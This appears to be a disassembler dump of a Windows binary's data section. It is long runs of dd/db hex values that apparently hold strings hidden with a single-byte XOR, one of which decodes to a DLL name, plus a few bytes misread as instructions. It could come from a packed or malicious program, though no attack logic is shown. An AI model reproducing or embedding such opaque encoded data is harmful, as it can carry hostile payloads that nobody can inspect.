dd 2B3F3631h, 58585819h, 0A5A2058h, 360D342Ch, 3C36312Fh
dd 758D858h, 28373C3Eh, 5858363Dh, 7591758h, 363D2837h
dd 3E2B3707h, 3C363930h, 58583D34h, 3E5A5558h, 2B37343Bh
dd 5858583Dh, 7586158h, 31203D3Bh, 5858582Ch, 355A1658h
dd 37343439h, 5858583Bh, 2A5A3858h, 3D2B3139h, 2B5A3F58h
dd 2D3A2C3Dh, 5858583Eh, 2B5A2D58h, 283B2A2Ch, 58585821h
dd 0A1D1358h, 6B141D16h, 343C766Ah, 58585834h, 49F85858h
dd 2 dup(49F85848h), 0C0A1B48h, 7614141Ch, 5814141Ch, 49F84C58h
dd 7 dup(49F84C48h), 58585848h, 0Dh dup(58585858h), 58587858h
dd 58585858h, 58587858h, 58485858h, 58B05858h, 58A85858h
dd 59745858h, 78h dup(58585858h), 58485858h, 5859B458h
dd 0D4686958h, 0A568AB68h, 4B695D68h, 79694169h, 0EE697F69h
dd 0A469B769h, 566A5969h, 7B6A4B6Ah, 666A716Ah, 3A6AEC6Ah
dd 2D6B336Bh, 0F16BDF6Bh, 0E66BED6Bh, 496B9F6Bh, 696C436Ch
dd 0D6C1B6Ch, 2B6C076Ch, 0D36C216Ch, 0EB6CC76Ch, 966CE26Ch
dd 0B06C8D6Ch, 0A66CB76Ch, 4E6D5C6Ch, 6C6D786Dh, 6D1E6Dh
dd 2D6D076Dh, 0F36DDF6Dh, 8A6D906Dh, 0B46D856Dh, 406DA76Dh
dd 756E7E6Eh, 1D6E616Eh, 326E156Eh, 226E2C6Eh, 0C66ECF6Eh
dd 9F6EE06Eh, 0BC6E886Eh, 0A26EB26Eh, 4A6F5C6Eh, 196F406Fh
dd 0A6F1E6Fh, 3F6F016Fh, 0D86F2C6Fh, 0E96FCD6Fh, 0A86F826Fh
dd 0A36FAE6Fh, 46605D6Fh, 69607B60h, 1F601860h, 26602C60h
dd 0EA60C260h, 0B9609C60h, 5560B760h, 79614B61h, 6D617F61h
dd 0E611D61h, 34610461h, 0D361DC61h, 0F661FC61h, 9B61E161h
dd 0BF619461h, 0A461A961h, 45625461h, 6F627C62h, 2626662h
dd 31623862h, 0DB622562h, 0F362F962h, 9162EE62h, 83629762h
dd 0B362B962h, 5862A262h, 48635263h, 79634F63h, 65636063h
dd 3631563h, 21633163h, 0D663DE63h, 0FE63CC63h, 0E163F463h
dd 9163E763h, 0BE63B863h, 5063A863h, 4B645564h, 64647A64h
dd 2D640C64h, 0D3642264h, 0F964C964h, 0E564EF64h, 80649664h
dd 0A4648764h, 54655A64h, 47654165h, 60656A65h, 11651B65h
dd 3A650A65h, 37653165h, 0D9652265h, 0CB65D165h, 0F765F265h
dd 8865E765h, 0B065B965h, 52665C65h, 46664066h, 6B667166h
dd 2660866h, 2F662A66h, 0C366DF66h, 0EC66FA66h, 8C669666h
dd 0BF66B866h, 0AF66A866h, 50675866h, 75675767h, 17676F67h
dd 3670C67h, 0D2673767h, 0C467CE67h, 0E767E167h, 8E679C67h
dd 0A367B267h, 58785867h, 5859D058h, 79685A58h, 64687F68h
dd 4681468h, 2B683568h, 0D168DB68h, 0F168FB68h, 0E468EB68h
dd 96689B68h, 0AF688C68h, 4E695768h, 61696B69h, 16696669h
dd 37690769h, 0D7692D69h, 0C669CD69h, 0EA69F469h, 9169E569h
dd 0B569BB69h, 516A5C69h, 756A416Ah, 1B6A656Ah, 3B6A056Ah
dd 246A356Ah, 0C96AD36Ah, 0E46AC76Ah, 946A9A6Ah, 5A6ABC6Ah
dd 7C6B506Bh, 6F6B726Bh, 0A6B646Bh, 2C6B006Bh, 0DF6B226Bh
dd 0FA6BD46Bh, 9C6BF06Bh, 8F6B926Bh, 0AA6B846Bh, 4C6BA06Bh
dd 7F6C426Ch, 1A6C746Ch, 46C106Ch, 2F6C3A6Ch, 0C56CD96Ch
dd 0EE6CF16Ch, 916CE66Ch, 0A06C816Ch, 1B6D4B6Ch, 166D116Dh
dd 326D3B6Dh, 0D26DDB6Dh, 0F26DFB6Dh, 0B16D9B6Dh, 556E5D6Dh
dd 7B6E406Eh, 696E726Eh, 36E1D6Eh, 0D96E236Eh, 0FF6EC96Eh
dd 966EE96Eh, 466F406Eh, 126F656Fh, 326F086Fh, 0CD6FD66Fh
dd 9F6FF66Fh, 7A6F966Fh, 3C600E60h, 25603760h, 0F8613D60h
dd 9E61EA61h, 82619461h, 0C662C061h, 95629F62h, 54635C62h
dd 3630C63h, 23633363h, 0C463D463h, 0EA63F463h, 18639A63h
dd 4640E64h, 92649C64h, 71655564h, 0D3657765h, 0FC65CC65h
dd 8765F365h, 0AF65B465h, 7C665265h, 6A667366h, 0C5663666h
dd 0F266FB66h, 0B8668266h, 0A766A166h, 44674B66h, 25677267h
dd 0C767DB67h, 9867EE67h, 0A9678867h, 5867A667h, 58685858h
dd 5859CC58h, 77684158h, 2F683468h, 0A168B668h, 4A695868h
dd 66697669h, 0A691C69h, 0DA692F69h, 0C369D169h, 0EB69F969h
dd 93699D69h, 87698169h, 0A169B669h, 466A5B69h, 3C6A716Ah
dd 206A296Ah, 0CA6ADA6Ah, 4E6AB06Ah, 326B6B6Bh, 0FC6BC56Bh
dd 766C4C6Bh, 16C6C6Ch, 216C2A6Ch, 0C26CCB6Ch, 926CEC6Ch
dd 1C6C8E6Ch, 256D126Dh, 4C6E556Dh, 746E7B6Eh, 0DA6E6D6Eh
dd 716ED16Eh, 186F776Fh, 386F096Fh, 0D96F2D6Fh, 0F86FD76Fh
dd 0EF6FFE6Fh, 9F6F996Fh, 53605D6Fh, 68604660h, 18606E60h
dd 3E601E60h, 26602F60h, 0C260CC60h, 0EF60E960h, 96609060h
dd 5960BD60h, 44614D61h, 32616B61h, 0C9612761h, 9E61C261h
dd 0AC618E61h, 4C61A361h, 67627562h, 0D621062h, 2C620662h
dd 0C4622762h, 0E962F062h, 88629B62h, 0B462BB62h, 53635B62h
dd 4F634963h, 1C637963h, 631263h, 3D630663h, 0C7633463h
dd 0EC63FF63h, 9B63E263h, 8C639163h, 0AF638263h, 7B644563h
dd 64646864h, 0A641B64h, 0D0642064h, 0C664D664h, 0E564FC64h
dd 8E649B64h, 0B464BE64h, 5564A664h, 7B654B65h, 66657265h
dd 3651C65h, 2A653C65h, 0DF652465h, 0CE65D565h, 0FB65C565h
dd 0E565EF65h, 95659F65h, 7A658B65h, 19666866h, 0A661F66h
dd 3D660766h, 0D9663766h, 0E966CB66h, 8866E666h, 4A675166h
dd 62674267h, 671867h, 29673967h, 0D7672F67h, 5867FC67h
dd 58185858h, 58598458h, 4B685C58h, 77684168h, 1B686568h
dd 3F680168h, 0DB683568h, 0FD68CA68h, 8C68F268h, 0B5688768h
dd 5A68A368h, 77697969h, 7696269h, 0EF69F669h, 49699869h
dd 3E6A746Ah, 0D06A346Ah, 0F16AD76Ah, 9F6A996Ah, 0AF6A876Ah
dd 406B536Ah, 7A6B456Bh, 6C6B716Bh, 106B636Bh, 0A6B156Bh
dd 3D6B076Bh, 806B326Bh, 0B36BBD6Bh, 506C5A6Bh, 706C436Ch
dd 1D6C666Ch, 3F6C066Ch, 0C96C2C6Ch, 0F76CC66Ch, 926C996Ch
dd 0B66CBD6Ch, 0A36CAD6Ch, 546D586Ch, 436D4A6Dh, 706D7A6Dh
dd 116D756Dh, 3D6D066Dh, 0DC6D266Dh, 9F6D996Dh, 1D6DBE6Dh
dd 0DF6ED96Eh, 0EB6EF06Eh, 856E9F6Eh, 506EBC6Eh, 6A6F726Fh
dd 0B6F126Fh, 0D96F236Fh, 0CF6FD66Fh, 0E16FFB6Fh, 976FE76Fh
dd 0AD6FB16Fh, 74604A6Fh, 21601360h, 0E2602760h, 82609E60h
dd 5960A360h, 71614E61h, 17617761h, 2B610D61h, 0D4612161h
dd 0C461CD61h, 9261FA61h, 81618861h, 5161A161h, 43624E62h
dd 72627962h, 65626962h, 0F062FB62h, 9562EB62h, 1C636462h
dd 3631663h, 32633963h, 26632063h, 0C063C963h, 9963E063h
dd 0B9639663h, 4C645563h, 7B644264h, 6A647164h, 13646664h
dd 4640F64h, 0DB643B64h, 0CC64D364h, 0E764FC64h, 0BF648E64h
dd 5D64B664h, 7D655765h, 6F656A65h, 1B656465h, 0D651665h
dd 3F653A65h, 21653465h, 0DC652765h, 0C365CD65h, 0E265F265h
dd 92659B65h, 0B8658265h, 0B765B165h, 4965A765h, 73664066h
dd 16666466h, 33663D66h, 0CC662D66h, 9966F266h, 0B2669666h
dd 0A666AF66h, 64676F66h, 3E670867h, 0DF672A67h, 0C267CC67h
dd 0E967FF67h, 94679D67h, 0BC678067h, 0A367AD67h, 58085867h
dd 585A3458h, 79684A58h, 0C686F68h, 0F6682968h, 87689A68h
dd 76697068h, 1A696F69h, 0D691169h, 3C690769h, 0DD692A69h
dd 0C369C969h, 0E069F469h, 8E699C69h, 0B0698769h, 0A569AE69h
dd 4B6A5169h, 7E6A796Ah, 3F6A746Ah, 2F6A356Ah, 0C36ACD6Ah
dd 926AEC6Ah, 0A86ABE6Ah, 596AAF6Ah, 4E6B506Bh, 7E6B446Bh
dd 626B746Bh, 3D6B186Bh, 0D96B226Bh, 0FE6BC16Bh, 0E86BF36Bh
dd 986BE16Bh, 8A6B956Bh, 0BF6B8F6Bh, 0A46BB46Bh, 496C596Bh
dd 7E6C4E6Ch, 636C736Ch, 86C186Ch, 3D6C0D6Ch, 226C326Ch
dd 0D76C276Ch, 0FC6CCC6Ch, 0E16CF16Ch, 966CE66Ch, 0BB6C8B6Ch
dd 0A36CB06Ch, 436D4D6Ch, 696D7C6Dh, 196D6F6Dh, 26D0D6Dh
dd 0DC6D356Dh, 0E46DD36Dh, 0B46D916Dh, 0A46DAA6Dh, 526E5B6Dh
dd 456E4E6Eh, 6F6E736Eh, 1F6E656Eh, 336E3D6Eh, 0C06ED26Eh
dd 9E6EC66Eh, 846E8E6Eh, 5E6EA96Eh, 7E6F4C6Fh, 196F636Fh
dd 0FC6F0A6Fh, 0E16FEC6Fh, 966F916Fh, 0BB6F866Fh, 0A06FAB6Fh
dd 5560506Fh, 7A604560h, 6F606A60h, 14601F60h, 39600460h
dd 2E602960h, 0D360DE60h, 0F860C360h, 0ED60E860h, 92609D60h
dd 87608260h, 0AC60B760h, 51615C60h, 46614161h, 6B617661h
dd 10611B61h, 5610061h, 2A613561h, 0DF61DA61h, 0C461CF61h
dd 0E961F461h, 9E619961h, 83618E61h, 0A861B361h, 5D625861h
dd 42624D62h, 77627262h, 1C626762h, 1620C62h, 36623162h
dd 0DB622662h, 0C062CB62h, 0F562F062h, 9A62E562h, 8F628A62h
dd 0B462BF62h, 5962A462h, 4E634963h, 73637E63h, 18636363h
dd 0D630863h, 32633D63h, 27632263h, 0CC63D763h, 0E063F263h
dd 9063E663h, 80638A63h, 0B363B963h, 0A263AA63h, 54645F63h
dd 42644964h, 76647964h, 60646B64h, 13641D64h, 2E640864h
dd 8964C864h, 86648064h, 7A64BC64h, 62657F65h, 0D8651C65h
dd 8D659765h, 0B6658665h, 53665B65h, 44664E66h, 0B667E66h
dd 27660166h, 0FB66C266h, 0E866F166h, 0E566E066h, 89669D66h
dd 0BE668366h, 0A066A966h, 40674A66h, 75674667h, 1C676D67h
dd 0C671267h, 31673B67h, 0DA672D67h, 0FC67D167h, 0EC67F267h
dd 90679A67h, 0BA678D67h, 0AA67B167h, 5867A167h, 58385858h
dd 585A5058h, 51685B58h, 7B684368h, 63686968h, 0C681F68h
dd 2C683668h, 0F968DB68h, 0E468EC68h, 80689C68h, 0A0688668h
dd 50695868h, 47695769h, 2B696769h, 0D5692169h, 0C569CD69h
dd 0ED69F269h, 9F699869h, 0B3698069h, 426A4A69h, 66A1A6Ah
dd 266A326Ah, 0CA6ADB6Ah, 0EE6AC26Ah, 936A9A6Ah, 0B26A826Ah
dd 0A66AB76Ah, 7E6B786Ah, 86B6C6Bh, 376B326Bh, 0F36B266Bh
dd 9C6BEA6Bh, 0B96B8B6Bh, 5E6BA56Bh, 666C776Ch, 0EC6C306Ch
dd 806CE36Ch, 576D516Ch, 6B6D786Dh, 0F6D1C6Dh, 216D306Dh
dd 0F86DC26Dh, 0E86DF16Dh, 906DE56Dh, 0B06D866Dh, 0A26DAB6Dh
dd 566E516Dh, 7E6E436Eh, 656E756Eh, 116E1A6Eh, 316E046Eh
dd 236E2D6Eh, 0D66ED16Eh, 0F36EC76Eh, 9A6EEA6Eh, 8E6E916Eh
dd 0B66EB06Eh, 566EA46Eh, 786F4F6Fh, 616F7F6Fh, 0B6F676Fh
dd 326F026Fh, 0DC6F266Fh, 0F46FFE6Fh, 886F916Fh, 516F876Fh
dd 42605760h, 73607860h, 65606F60h, 4600860h, 0D8603460h
dd 0CD60DE60h, 0FE60C360h, 0E460F760h, 88609260h, 0B3608360h
dd 5A60AD60h, 44615561h, 69617A61h, 1D616061h, 6610A61h
dd 37613C61h, 0D9612061h, 0FC61C661h, 9D61E661h, 0B1618661h
dd 40625261h, 6D627A62h, 4626362h, 36623D62h, 0D6622F62h
dd 0F662CD62h, 9662ED62h, 0B6628D62h, 43634B62h, 10636963h
dd 2630C63h, 2F633463h, 0D563D963h, 0EA63C763h, 81639663h
dd 4E638763h, 69644564h, 17641E64h, 7640164h, 26642D64h
dd 0C064D764h, 0EB64F264h, 9E64E464h, 86648A64h, 0A264BF64h
dd 4B655164h, 3A657A65h, 0E4652765h, 0B5658865h, 2667465h
dd 36663066h, 89662E66h, 87668166h, 0B766BD66h, 4866AD66h
dd 75677C67h, 18676267h, 31671D67h, 0D067D967h, 0C367D667h
dd 0F767FC67h, 8B67ED67h, 0BF678267h, 5867B567h, 58285858h
dd 58598458h, 41685358h, 11687B68h, 2D681768h, 0B668EB68h
dd 6568AD68h, 0CB690F69h, 0E169FE69h, 8E698869h, 0A969B369h
dd 786A5E69h, 0E6A7F6Ah, 0C76AD46Ah, 0EF6AF46Ah, 8E6A9B6Ah
dd 0A96AB36Ah, 5B6AAE6Ah, 566B516Bh, 796B436Bh, 6B6B7E6Bh
dd 666B616Bh, 0DA6B246Bh, 0FF6BCB6Bh, 0E56BF56Bh, 8D6B9B6Bh
dd 0AD6BB66Bh, 746C506Bh, 146C6A6Ch, 3A6C0A6Ch, 256C2F6Ch
dd 0F76CF16Ch, 926C9B6Ch, 0BE6C866Ch, 1B6D636Ch, 0F6D156Dh
dd 346D3E6Dh, 0DC6D2D6Dh, 0CE6DC86Dh, 0F36DFC6Dh, 9B6DE36Dh
dd 0AE6DBA6Dh, 596DA36Dh, 466E5F6Eh, 636E6E6Eh, 0B6E166Eh
dd 2D6E066Eh, 0E86EF36Eh, 936E9B6Eh, 5D6E896Eh, 456F526Fh
dd 736F7D6Fh, 176F1A6Fh, 0C86F046Fh, 0F66FCE6Fh, 996FE06Fh
dd 946F9E6Fh, 836F8E6Fh, 0A76FB16Fh, 4160576Fh, 1C607C60h
dd 33600360h, 0CC602960h, 8A60EB60h, 10616760h, 35611661h
dd 0F561D061h, 9E61E761h
dd 86619661h, 7461A161h, 63626A62h, 13621A62h, 2D620662h
dd 0D0622362h, 0CE62D762h, 9B62F662h, 0A1628C62h, 6F635862h
dd 0D8632263h, 0F663CF63h, 84638E63h, 30645963h, 85643764h
dd 0A664B664h, 44655564h, 72657C65h, 64656865h, 7650E65h
dd 2E653165h, 0C865DB65h, 0F865C065h, 0E265FF65h, 97659A65h
dd 87658065h, 0AA65B565h, 5B65A565h, 44664966h, 7F667966h
dd 64666866h, 11661966h, 661766h, 35660766h, 24662B66h
dd 0D266DC66h, 0C266CD66h, 0EA66FC66h, 9F669866h, 0B9668E66h
dd 0B666BF66h, 5066A766h, 69674967h, 11676567h, 4671667h
dd 2F673B67h, 0CD67D167h, 0F867C267h, 8C67E667h, 0A8678267h
dd 5867AE67h, 58D85858h, 585A4858h, 50685A58h, 78685668h
dd 1A686868h, 0DB681168h, 0FE68CB68h, 9D68E168h, 5168BB68h
dd 7C694E69h, 6A697269h, 3B690469h, 0DB692069h, 0E969F369h
dd 88699D69h, 0A569AF69h, 416A5169h, 716A796Ah, 126A686Ah
dd 226A286Ah, 0CC6ADE6Ah, 0F26AFB6Ah, 806A8A6Ah, 0B36ABA6Ah
dd 5B6AAC6Ah, 406B516Bh, 1C6B796Bh, 26B166Bh, 206B306Bh
dd 0F26BC66Bh, 0E56BE86Bh, 886B9F6Bh, 0B56B836Bh, 4A6BAF6Bh
dd 1A6C606Ch, 66C086Ch, 0C06C286Ch, 0F36CC76Ch, 986CEF6Ch
dd 856C936Ch, 576D5B6Ch, 716D436Dh, 1C6D686Dh, 286D156Dh
dd 0DB6D226Dh, 0C06DD66Dh, 0EC6DFA6Dh, 9A6DE46Dh, 5B6D856Dh
dd 4B6E546Eh, 766E476Eh, 1E6E6C6Eh, 2A6E156Eh, 0DC6E236Eh
dd 0C16ED26Eh, 0F66EC76Eh, 916E986Eh, 0AE6EB46Eh, 546F5A6Eh
dd 746F426Fh, 26F6D6Fh, 346F396Fh, 266F2D6Fh, 0C96FD06Fh
dd 0F66FC16Fh, 9D6FEC6Fh, 836F936Fh, 0A96FB96Fh, 55605F6Fh
dd 76604A60h, 15606160h, 5600A60h, 0E5603060h, 85609B60h
dd 5060A860h, 44615661h, 12611B61h, 20613561h, 95619E61h
dd 40618D61h, 68627862h, 0B621562h, 26623C62h, 0D462DD62h
dd 0CF62CA62h, 0F562FF62h, 9F62E262h, 85629562h, 0B162BB62h
dd 0A762AD62h, 41635E62h, 73637E63h, 6F636863h, 11631A63h
dd 3630E63h, 33633A63h, 27632A63h, 0D263DD63h, 0EE63FB63h
dd 83638B63h, 0B763BF63h, 73644263h, 35646B64h, 0EE64F164h
dd 9564E564h, 64B464h, 0DF652965h, 0FE65D565h, 9A65E465h
dd 8D659765h, 0A965B165h, 4D665265h, 7F664666h, 660A66h
dd 36660766h, 0DD662C66h, 0FF66D366h, 88669266h, 84668D66h
dd 0AA66B466h, 5366A666h, 43674D67h, 74677E67h, 12676E67h
dd 2670867h, 0D9673567h, 0F267FC67h, 0E567F767h, 97679B67h
dd 0B9678367h, 0A967B367h, 5867A567h, 58C85858h, 585A1858h
dd 41685D58h, 71684768h, 8686468h, 21682B68h, 0D5682668h
dd 0EE68CB68h, 9768E568h, 7A694468h, 9469CD69h, 85698069h
dd 0A069B569h, 486A5269h, 476A426Ah, 1C6A666Ah, 66A006Ah
dd 236A306Ah, 0FB6AD76Ah, 0EE6AF16Ah, 8D6A976Ah, 0A86AB16Ah
dd 506B5A6Ah, 616B466Bh, 0D6B676Bh, 2E6B286Bh, 0FF6BD46Bh
dd 986BF56Bh, 0B96B836Bh, 0AB6BB16Bh, 786C416Bh, 186C636Ch
dd 396C0B6Ch, 0D46CDC6Ch, 0E76CCB6Ch, 0BF6CB96Ch, 0A26CB46Ch
dd 4F6D596Ch, 766D7B6Dh, 196D606Dh, 0A6D1F6Dh, 316D006Dh
dd 216D2B6Dh, 0FD6DDC6Dh, 0E66DE06Dh, 0B86D806Dh, 0A96DB36Dh
dd 5F6DA36Dh, 476E486Eh, 186E756Eh, 16E1F6Eh, 376E3D6Eh
dd 0D66ED06Eh, 0EE6EC16Eh, 0A06E8E6Eh, 546F5A6Eh, 746F4B6Fh
dd 16F6A6Fh, 2B6F316Fh, 0D86F216Fh, 0C26FD56Fh, 0EA6FFD6Fh
dd 8D6FE06Fh, 0BF6FBA6Fh, 0AA6FB46Fh, 5A6FA36Fh, 4C605760h
dd 7D604160h, 68607360h, 19606D60h, 14601F60h, 5600960h
dd 30603B60h, 21603560h, 0DC602760h, 0CD60D160h, 0F860C360h
dd 0EC60FD60h, 0E760E260h, 8C609F60h, 0B8608160h, 0A860B160h
dd 5A60A560h, 4F615F61h, 74614461h, 19616961h, 0E611E61h
dd 33610361h, 0D8612861h, 0CD61DD61h, 0F261C261h, 0E761F761h
dd 8C619C61h, 0B1618161h, 0A661B661h, 4B625B61h, 70624062h
dd 65627562h, 0A621A62h, 3F620F62h, 24623462h, 0C962D962h
dd 0FE62CE62h, 0E362F362h, 88629862h, 0BD628D62h, 5862B262h
dd 6F637163h, 0D631763h, 28633D63h, 0FA63CD63h, 8F638963h
dd 0A163BB63h, 4C645F63h, 60647264h, 14646664h, 2B640A64h
dd 0F564C764h, 9D64EB64h, 0BC649464h, 5364A964h, 69654965h
dd 1A656F65h, 34653C65h, 0D1652465h, 0CE65C865h, 8965E265h
dd 0B565BF65h, 55665965h, 79664A66h, 666B66h, 0F4663C66h
dd 8866E066h, 0B0668266h, 0A166B666h, 56675866h, 72674467h
dd 14676067h, 3B670B67h, 2D673167h, 0D1672367h, 0C667CC67h
dd 0B067BB67h, 0A467B667h, 58F85867h, 585A2858h, 44684858h
dd 66686168h, 39680E68h, 0DF682368h, 0EE68E968h, 96689168h
dd 5E68B668h, 41694B69h, 76697F69h, 38690A69h, 22693E69h
dd 0C469C869h, 0E569E869h, 8E699769h, 5769AB69h, 0C6A6D6Ah
dd 346A3B6Ah, 0D96A2C6Ah, 0D36ADE6Ah, 0C36ACC6Ah, 0F56AF06Ah
dd 0E76AEA6Ah, 926A9D6Ah, 536AA56Ah, 716B406Bh, 666B6E6Bh
dd 296B3B6Bh, 0D96B2E6Bh, 0CA6BD46Bh, 9B6BE66Bh, 0B26B846Bh
dd 5A6BA36Bh, 796C4B6Ch, 6B6C7E6Ch, 0A6C1A6Ch, 0C46CD26Ch
dd 986CE86Ch, 0A76CA06Ch, 7F6D4E6Ch, 626D756Dh, 126D186Dh
dd 26D0B6Dh, 366D306Dh, 256D2F6Dh, 0C96DD26Dh, 0C56DCF6Dh
dd 0E86DF16Dh, 0E56DEF6Dh, 886D9B6Dh, 0BA6D8E6Dh, 0AA6DB46Dh
dd 5E6DA36Dh, 406E546Eh, 7E6E476Eh, 606E746Eh, 1D6E676Eh
dd 16E146Eh, 3F6E386Eh, 236E376Eh, 0D16EDA6Eh, 0C46ED76Eh
dd 0F06EFA6Eh, 0E26EF66Eh, 9F6E996Eh, 8C6E966Eh, 0B06EBA6Eh
dd 0A36EB66Eh, 5F6F596Eh, 476F4E6Fh, 746F7E6Fh, 646F6D6Fh
dd 126F1B6Fh, 66F086Fh, 356F3C6Fh, 276F2B6Fh, 0E06FDE6Fh
dd 856F986Fh, 0A46FAA6Fh, 5660516Fh, 69607B60h, 38600F60h
dd 29603360h, 0D5602360h, 0C060CA60h, 0FB60C560h, 0F660F060h
dd 0E060EB60h, 92609C60h, 0B9608360h, 0A960BE60h, 5760AF60h
dd 43614D61h, 7E617861h, 69617361h, 18616E61h, 9611F61h
dd 35610461h, 20612B61h, 0D561DA61h, 0FC61C661h, 0F761F261h
dd 0E261ED61h, 9D619861h, 8C619261h, 0B2618661h, 0A061A861h
dd 5B61A561h, 79624362h, 1A626062h, 620B62h, 33623D62h
dd 0DC622662h, 0F462CB62h, 9D62E062h, 8B629362h, 0AA62B062h
dd 4C62A262h, 11637863h, 0D8633C63h, 0F863DE63h, 0ED63F563h
dd 96639C63h, 80638B63h, 0B0638763h, 0AD63B663h, 4E645163h
dd 6E647A64h, 34646464h, 27642164h, 0FF64CB64h, 0E264F564h
dd 0B9649464h, 6E64B464h, 3F651065h, 0D8652865h, 0CE65DF65h
dd 0F165F965h, 97659E65h, 0BC658E65h, 0A165B665h, 10665465h
dd 2661666h, 31663B66h, 0D3662566h, 0CF66C866h, 0F766F066h
dd 9D66E466h, 8B669466h, 0BF66B966h, 0AF66A966h, 7C674F66h
dd 3F670867h, 0C0672367h, 0A967F067h, 58E85867h, 58598058h
dd 50685958h, 6D684768h, 0DF682668h, 0F068C468h, 0BB68EF68h
dd 0A668B168h, 73694C68h, 66696F69h, 29690369h, 0CC692569h
dd 0ED69F269h, 8D69E369h, 726A5469h, 196A6D6Ah, 396A1F6Ah
dd 0C46A3F6Ah, 9E6AE26Ah, 846A946Ah, 586AAE6Ah, 406B576Bh
dd 776B7F6Bh, 1A6B646Bh, 3A6B0F6Bh, 0DE6B316Bh, 0CF6BD66Bh
dd 0F16BC56Bh, 926BE86Bh
db 6Bh ; k
db 88h, 6Bh, 82h
db 6Bh ; k
db 0BDh, 6Bh, 0A8h
db 6Bh ; k
db 59h, 6Ch, 5Fh
db 6Ch ; l
db 46h, 6Ch, 7Ch
db 6Ch ; l
db 76h, 6Ch, 63h
db 6Ch ; l
db 1Fh, 6Ch, 3Ch
db 6Ch ; l
db 36h, 6Ch, 25h
db 6Ch ; l
db 0DCh, 6Ch, 0D2h
db 6Ch ; l
db 0C7h, 6Ch, 0F4h
db 6Ch ; l
db 0EEh, 6Ch, 0E3h
db 6Ch ; l
db 99h, 6Ch, 85h
db 6Ch ; l
db 0BCh, 6Ch, 0A8h
db 6Ch ; l
db 0A2h, 6Ch, 58h
db 6Dh ; m
db 55h, 6Dh, 78h
db 6Dh ; m
db 71h, 6Dh, 60h
db 6Dh ; m
db 10h, 6Dh, 3Fh
db 6Dh ; m
db 35h, 6Dh, 20h
db 6Dh ; m
db 26h, 6Dh, 0D3h
db 6Dh ; m
db 0C9h, 6Dh, 0C0h
db 6Dh ; m
db 0FDh, 6Dh, 98h
db 6Dh ; m
db 0A7h, 6Dh, 4Eh
db 6Eh ; n
db 6Ch, 6Eh, 0DFh
db 6Eh ; n
db 0C8h, 6Eh, 0C5h
db 6Eh ; n
db 0FDh, 6Eh, 0E1h
db 6Eh ; n
db 0E6h, 6Eh, 94h
db 6Eh ; n
db 87h, 6Eh, 0BDh
db 6Eh ; n
db 0ABh, 6Eh, 5Eh
db 6Fh ; o
db 54h, 6Fh, 41h
db 6Fh ; o
db 7Bh, 6Fh, 77h
db 6Fh ; o
db 6Dh, 6Fh, 10h
db 6Fh ; o
db 0Ch, 6Fh, 5
db 6Fh ; o
db 3Fh, 6Fh, 2Bh
db 6Fh ; o
db 24h, 6Fh, 0D0h
db 6Fh ; o
; ---------------------------------------------------------------------------
aad 6Fh
retf
; ---------------------------------------------------------------------------
db 6Fh ; o
db 86h, 6Fh, 0B2h
db 6Fh ; o
db 0AEh, 6Fh, 5Bh
db 60h ; `
db 52h, 60h, 41h
db 60h ; `
db 7Dh, 60h, 74h
db 60h ; `
db 62h, 60h, 18h
db 60h ; `
db 13h, 60h, 3Ah
db 60h ; `
db 3Fh, 60h, 35h
db 60h ; `
db 24h, 60h, 0F8h
db 60h ; `
db 0F4h, 60h, 0E3h
db 60h ; `
db 92h, 60h, 8Eh
db 60h ; `
db 0A9h, 60h, 58h
db 61h ; a
db 55h, 61h, 42h
db 61h ; a
db 74h, 61h, 6Ah
db 61h ; a
db 1Ch, 61h, 15h
db 61h ; a
db 1, 61h, 3Bh
db 61h ; a
db 0DFh, 61h, 0C4h
db 61h ; a
db 0F1h, 61h, 0E8h
db 61h ; a
db 0EEh, 61h, 9Eh
db 61h ; a
db 0BFh, 61h, 0A6h
db 61h ; a
db 5Ch, 62h, 71h
db 62h ; b
db 77h, 62h, 3Ch
db 62h ; b
db 0F2h, 62h, 0E8h
db 62h ; b
db 0E4h, 62h, 9Ah
db 62h ; b
db 0BAh, 62h, 0AFh
db 62h ; b
db 56h, 63h, 6Bh
db 63h ; c
db 61h, 63h, 6
db 63h ; c
db 3Ch, 63h, 2Ch
db 63h ; c
db 22h, 63h, 0D2h
db 63h ; c
db 0CEh, 63h, 0F9h
db 63h ; c
db 0F5h, 63h, 0E2h
db 63h ; c
db 98h, 63h, 97h
db 63h ; c
db 8Dh, 63h, 0BAh
db 63h ; c
db 0B1h, 63h, 5Fh
db 64h ; d
db 49h, 64h, 45h
db 64h ; d
db 7Bh, 64h, 6Bh
db 64h ; d
db 61h, 64h, 3Ah
db 64h ; d
db 2Ah, 64h, 0DDh
db 64h, 90h
dw 0BC64h
db 64h ; d
db 0B2h, 64h, 4Ah
db 65h ; e
db 40h, 65h, 12h
db 65h ; e
db 8, 65h, 21h
db 65h ; e
db 0CAh, 65h, 0FEh
db 65h ; e
db 9Bh, 65h, 91h
db 65h ; e
db 83h, 65h, 5Dh
db 66h ; f
db 53h, 66h, 49h
db 66h ; f
db 3, 66h, 33h
db 66h ; f
db 0DCh, 66h, 0C0h
db 66h ; f
db 0FAh, 66h, 0F0h
db 66h ; f
db 0E5h, 66h, 8Ch
db 66h ; f
db 82h, 66h, 5Ah
db 67h ; g
db 50h, 67h, 65h
db 67h ; g
db 1Ah, 67h, 39h
db 67h ; g
db 36h, 67h, 2Fh
db 67h ; g
db 0DFh, 67h, 0E7h
db 67h ; g
db 9Dh, 67h, 0A9h
db 67h ; g
db 58h, 98h, 58h
db 58h ; X
db 0B0h, 59h, 58h
db 58h ; X
db 58h, 68h, 5Eh
db 68h ; h
db 45h, 68h, 1Bh
db 68h ; h
db 2Bh, 68h, 0C5h
db 68h ; h
db 0F0h, 68h, 0EDh
db 68h ; h
align 2
dw 0BB68h
db 68h ; h
db 0AAh, 68h, 0A0h
db 68h ; h
db 42h, 69h, 66h
db 69h ; i
db 38h, 69h, 31h
db 69h ; i
db 0D0h, 69h, 0C0h
db 69h ; i
db 0ECh, 69h, 0E2h
db 69h ; i
db 81h, 69h, 0BEh
db 69h ; i
db 0A3h, 69h, 59h
db 6Ah ; j
db 48h, 6Ah, 4Eh
db 6Ah ; j
db 74h, 2 dup(6Ah)
db 6Ah ; j
db 18h, 6Ah, 11h
db 6Ah ; j
db 2Dh, 6Ah, 0CCh
db 6Ah ; j
db 0C5h, 6Ah, 0FFh
db 6Ah ; j
db 0E9h, 6Ah, 9Ch
db 6Ah ; j
db 89h, 6Ah, 0BEh
db 6Ah ; j
db 0ACh, 6Ah, 1Ah
db 6Bh ; k
db 13h, 6Bh, 25h
db 6Bh ; k
db 0DCh, 6Bh, 0FBh
db 6Bh ; k
db 0E0h, 6Bh, 97h
db 6Bh ; k
